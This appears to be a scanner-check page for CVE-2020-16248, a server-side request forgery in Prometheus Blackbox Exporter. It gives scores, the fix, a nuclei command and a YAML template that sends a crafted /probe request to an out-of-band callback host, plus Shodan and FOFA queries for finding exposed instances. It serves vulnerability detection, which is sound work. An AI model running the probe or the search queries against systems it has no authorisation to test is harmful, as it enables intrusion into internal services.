Prometheus Blackbox Exporter - Server-Side Request Forgery (SSRF)

mediumseverity

5.8CVSS score

3.1%likelihood of exploitation, next 30 days

88%of all CVEs are less likely

Readycheck to confirm it

Prometheus Blackbox Exporter through 0.17.0 contains a server-side request forgery caused by unsanitized target parameter in /probe, letting attackers perform SSRF attacks, exploit requires sending crafted target parameter.

Impact

Attackers can perform SSRF attacks, potentially accessing internal services or causing denial of service.

Fix

Update to version 0.17.1 or later to fix the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/probe?target={{interactsh-url}}&module=http_2xx
Positive when: contains(interactsh_protocol,'dns') and contains(body, "probe_dns_lookup_time_seconds")

Run it with nuclei: nuclei -id CVE-2020-16248 -u <target>

The full check

id: CVE-2020-16248

info:
  name: Prometheus Blackbox Exporter - Server-Side Request Forgery (SSRF)
  author: DhiyaneshDk
  severity: medium
  description: |
    Prometheus Blackbox Exporter through 0.17.0 contains a server-side request forgery caused by unsanitized target parameter in /probe, letting attackers perform SSRF attacks, exploit requires sending crafted target parameter.
  impact: |
    Attackers can perform SSRF attacks, potentially accessing internal services or causing denial of service.
  remediation: |
    Update to version 0.17.1 or later to fix the vulnerability.
  reference:
    - https://github.com/prometheus/blackbox_exporter/issues/669
    - https://nvd.nist.gov/vuln/detail/CVE-2020-16248
    - https://prometheus.io/docs/operating/security/#exporters
    - https://www.openwall.com/lists/oss-security/2020/08/08/3
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
    cvss-score: 5.8
    cve-id: CVE-2020-16248
    epss-score: 0.03106
    epss-percentile: 0.87882
    cwe-id: CWE-918
  metadata:
    max-request: 1
    shodan-query: title:"Blackbox Exporter"
    fofa-query: title="Blackbox Exporter"
    verified: true
    vendor: prometheus
    product: blackbox_exporter
  tags: cve,cve2020,ssrf,prometheus,blackbox-exporter,oast,oob,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/probe?target={{interactsh-url}}&module=http_2xx"

    matchers:
      - type: dsl
        dsl:
          - "contains(interactsh_protocol,'dns')"
          - 'contains(body, "probe_dns_lookup_time_seconds")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from